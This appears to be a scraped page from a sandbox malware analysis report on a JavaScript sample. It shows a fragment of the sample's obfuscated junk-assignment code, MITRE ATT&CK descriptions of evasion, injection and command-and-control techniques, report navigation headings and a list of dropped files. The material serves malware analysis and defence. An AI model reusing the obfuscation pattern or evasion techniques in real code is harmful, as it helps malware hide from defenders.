1403	zxsuassvm = "e";
1404	zxsuassvm = "z";
1405	zxsuassvm = "T";
1406	zxsuassvm = "Z";
1407	zxsuassvm = "J";
1408	zxsuassvm = "c";
1409	zxsuassvm = "Y";
1410	zxsuassvm = "V";
1411	zxsuassvm = "V";
1412	zxsuassvm = "U";
1413	zxsuassvm = "b";
1414	zxsuassvm = "w";
1415	zxsuassvm = "X";
1416	zxsuassvm = "C";
1417	zxsuassvm = "T";
1418	zxsuassvm = "y";
1419	zxsuassvm = "A";
1420	zxsuassvm = "o";
1421	zxsuassvm = "X";
1422	zxsuassvm = "R";
1423	zxsuassvm = "d";
1424	zxsuassvm = "f";
1425	zxsuassvm = "o";
1426	zxsuassvm = "l";
1427	zxsuassvm = "A";
1428	zxsuassvm = "x";
1429	zxsuassvm = "C";
1430	zxsuassvm = "g";
1431	zxsuassvm = "r";
1432	acmxhh = "o";
1433	acmxhh = "C";
1434	acmxhh = "l";
1435	acmxhh = "c";
1436	bgegcmz = "N";
1437	bgegcmz = "r";
1438	bgegcmz = "z";
1439	bgegcmz = "l";
1440	bgegcmz = "j";
1441	bgegcmz = "P";
1442	bgegcmz = "k";
1443	bgegcmz = "U";
1444	bgegcmz = "l";
1445	fvbmd = "h";
1446	fvbmd = "X";
1447	fvbmd = "O";
1448	fvbmd = "L";
1449	fvbmd = "B";
1450	fvbmd = "G";
1451	fvbmd = "q";
1452	fvbmd = "E";
1453	fvbmd = "d";
1454	fvbmd = "b";
1455	fvbmd = "M";
1456	fvbmd = "l";
1457	fvbmd = "m";
1458	fvbmd = "G";
1459	fvbmd = "q";
1460	fvbmd = "L";
1461	fvbmd = "G";
1462	fvbmd = "M";
1463	fvbmd = "U";
1464	fvbmd = "F";
1465	fvbmd = "U";
1466	fvbmd = "u";
1467	fvbmd = "A";
1468	fvbmd = "K";
1469	fvbmd = "t";
1470	fvbmd = "U";
1471	fvbmd = "b";
1472	bazbu = "f";
1473	bazbu = "V";
1474	bazbu = "g";
1475	bazbu = "B";
1476	bazbu = "p";
1477	bazbu = "F";
1478	bazbu = "D";
1479	bazbu = "X";
1480	bazbu = "n";
1481	bazbu = "B";
1482	bazbu = "j";
1483	bazbu = "g";
1484	bazbu = "g";
1485	bazbu = "H";
1486	bazbu = "m";
1487	bazbu = "v";
1488	bazbu = "O";
1489	bazbu = "u";
1490	bazbu = "W";
1491	bazbu = "y";
1492	bazbu = "E";
1493	bazbu = "L";
1494	bazbu = "E";
1495	bazbu = "l";
1496	bazbu = "z";
1497	bazbu = "y";
1498	bazbu = "K";
1499	bazbu = "h";
1500	bazbu = "S";
1501	bazbu = "t";
1502	bazbu = "h";
1503	bazbu = "Q";
1504	bazbu = "j";
1505	bmynpody ( );	bmynpody() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16267239851350230287.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b9f35b56-ab8b-41c1-a4a8-48561f82f05d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
16267239851350230287.js